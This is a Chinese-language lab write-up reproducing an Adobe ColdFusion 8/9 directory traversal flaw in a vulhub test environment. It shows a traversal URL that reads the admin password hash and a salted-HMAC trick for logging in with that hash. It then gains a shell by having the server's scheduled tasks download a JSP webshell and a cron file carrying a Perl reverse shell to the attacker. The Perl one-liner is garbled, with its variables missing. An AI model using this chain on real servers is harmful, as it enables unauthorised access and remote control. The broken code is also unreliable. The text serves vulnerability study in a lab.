整体过程
漏洞描述
Adobe ColdFusion 是美国 Adobe 公司的一款动态 Web 服务器产品,其运行的 CFML(ColdFusion Markup Language)是针对 Web 应用的一种程序设计语言。
Adobe ColdFusion 8、9 版本中存在一处目录穿越漏洞,可导致未授权的用户读取服务器任意文件。
一、复现过程
环境
一台攻击机(kali-2021)192.168.141.190
受害机(vulhub搭建的)192.168.141.199
一台用来下载的服务器(内网,如果有服务器更好)192.168.141.196(利用时让受害主机下载crontab文件,利用ubuntu的定时任务反弹shell)
复现
首先受害机启动环境,按照按照剧本访问对应的端口,使用nmap扫描一遍之后发现8500端口开放,使用浏览器访问
发现对应的版本在该漏洞范围内尝试用网上的poc进行文件读取后台管理员密码(根据网上为数不多资料作者推测管理员密码存在固定的位置-请大佬指正)
http://192.168.141.199:8500/CFIDE/administrator/enter.cfm?locale=../../../../../../../lib/password.properties%00en
访问后可以看到密码是使用加密的密码
password=D033E22AE348AEB5660FC2140AEC35850C4DA997
在这其实是作者整理了两个方案登录进后台
1.解密
判断出这是一串加密的字符串,首先想到是的测试解密,
带入登录即可
2.根据js找到加密逻辑
首先查看一下登陆的post包
可以看到其中cfadminPassword
能推断出输入的密码是首先通过js加密之后才传到服务端的,在这作者在浏览器中调出管理控制台查看Debugger部分可以看到当前网页的结构是一个cfm文件一个js,找到cfm中提交的表单部分以及password部分
可以看到密码在输入的时候没有进行加密而是在提交表单的时候调用了 hex_hmac_sha1(salt.value, hex_sha1(cfadminPassword.value))
js函数,首先是对cfadminPassword进行了一次sha1加密然后又出现了一个以salt为参数的加密参数有对cfadminPassword进行了一次加密,而在查看cfm文件时会发现没过一段时间都会刷新一次,具体的变化体现在每次刷新我们得到的salt(隐藏属性)都是不一样的
由于我们之前文件读取得到的密码字符串也是sha1加密的而网页中每次的salt值还不一样,可以判断出第一次sha1加密的值可能就是我们得到的正确的密码sha1加密后的值,按照这个思路作者在控制台中调用hex_hmac_sha1(document.loginform.salt.value,"D033E22AE348AEB5660FC2140AEC35850C4DA997")
函数第一个参数为salt的值,第二个参数直接带入前面读取的密码
得到的结果带入到post包中的cfadminPassword中,同时找当前的salt一同替换到包中
带入到post包中的cfadminPassword中,同时别忘了将包中的salt也替换成刷新之后的(否则失败)发包
之后将200包放到浏览器中即可(要快)
如果是登录失败返回的结果是这样的
成功登录到后台
如果这是第一次登录后台,后台还未初始化,所以返回的200,如果之前登录过,就返回的是302直接重定向到后台,返回的字符串中也会出现和200成功包中类似set-cookie,至此我们的复现到登录后台就完成了
反弹shell
整体思路就是,首先是找到后台的定时任务,从该模块中让受害主机下载文件到指定文件夹中,可以是一句话木马,也可以是大马,由于在测试一句话木马的时候无法执行反弹shell的命令,所以作者采用ubuntu的定时任务crontab方式,进行反弹shell,及将文件写入到/etc/cron.d中每隔1min执行一次,攻击机监听即可.
1.一句话木马方式
如果是采用一句话木马就需要知道coldfusion在哪个目录中了找到后台中的mapping
看到文件目录为 /opt/coldfusion8/wwwroot/CFIDE
然后访问Scheduled Tasks新建计划任务
作者看网上好多都填了user password ,但是本人在测试的时候发现不填写也能执行,所以未填写.然后勾选Save output to a file 将访问保存为一个文件,文件目录中的File填写前面mapping中看到的文件目录(注意去掉空格)/opt/coldfusion8/wwwroot/CFIDE/xxx.jsp
xxx文件名自拟,文件后缀因为是java写的后台所以一句话为java的,url为之前提到的服务器主机,用来让受害主机下载文件用的,
提交之后点击第一个按钮运行,
看到这个视为成功,之后访问一句话即可执行命令
作者在测试一句话的时候发现无法反弹shell,处于对反弹shell的执着,作者将介绍第二种方法计划任务
2.计划任务反弹shell
准备好cron
*/1 * * * * root /usr/bin/perl -e ‘use Socket;p=7777;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in(i)))){open(STDIN,“>&S”);open(STDOUT,“>&S”);open(STDERR,“>&S”);exec(“/bin/sh -i”);};’
注意即为一定要换行,否则会失败,配置如下
提交,执行,打开终端监听
success
写在最后,在网上看了一下其他的利用方式,Dreamweaver客户端登录由于时间关系并未尝试,但也希望后来者可以试试请大佬斧正
参考文章
[1] https://blog.csdn.net/weixin_43416469/article/details/113932085
[2] https://blog.csdn.net/weixin_45527786/article/details/105542403
[3] https://max.book118.com/html/2019/0328/6012222144002020.shtm
[4] https://www.wangan.com/docs/289